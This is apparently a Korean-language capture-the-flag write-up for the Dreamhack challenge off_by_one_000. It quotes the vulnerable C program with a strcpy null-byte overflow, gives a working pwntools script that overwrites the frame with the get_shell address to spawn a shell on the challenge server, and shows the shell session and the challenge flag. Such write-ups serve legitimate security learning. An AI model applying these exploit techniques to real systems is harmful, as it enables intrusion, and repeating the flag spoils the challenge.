[dreamhack] off_by_one_000

Off by one 취약점은 배열을 복사하거나 반복을 돌릴 때 1바이트 잘못 접근하는 것으로 프로그램에 의도하지 않은 동작을 일으키는 것으로 발생한다.

```
char cp_name[256];

void get_shell()
{
    system("/bin/sh");
}
```

```
int cpy()
{
    char real_name[256];
    strcpy(real_name, cp_name);
    return 0;
}

int main()
{
    initialize();
    printf("Name: ");
    read(0, cp_name, sizeof(cp_name));

    cpy();

    printf("Name: %s", cp_name);

    return 0;
}
```

주요코드

주어진 소스 코드는 위와 같다. cpy함수에서 strcpy를 실행하면서 null까지 받아오는 것으로 off by one 취약점이 발생하게 된다. Real_name[256] = "₩0" -> cp_name[256] = "₩0"인데 여기서 null을 257자리에 추가로 찍게 된다. 그래서 오류가 발생한다. 즉 256바이트를 꽉 채워서 값을 넣게 되면 off by one 공격이 가능하다.

정석대로는 off by one으로 ebp주소가 바뀌는 위치가 입력 문자열 중 어디인지 하나하나 계산하고 구해야 하지만 너무 귀찮은 관계로 get_shell함수 주소를 256바이트만큼 채워서 보내줘서 쉘을 땄다.

```python
from pwn import *

r = remote("host1.dreamhack.games", 16877)

get_shell = p32(0x80485db)

r.recvuntil("Name: ")
r.sendline(get_shell*64)

r.interactive()
```

```
Name: [illegible]
[illegible]
[illegible]$ ls
flag
off_by_one_000
$ cat flag
DH{fef043d0dbe030d01756c23b78a660ae}[*] Got EOF while reading in interactive
$
```

DH{fef043d0dbe030d01756c23b78a660ae}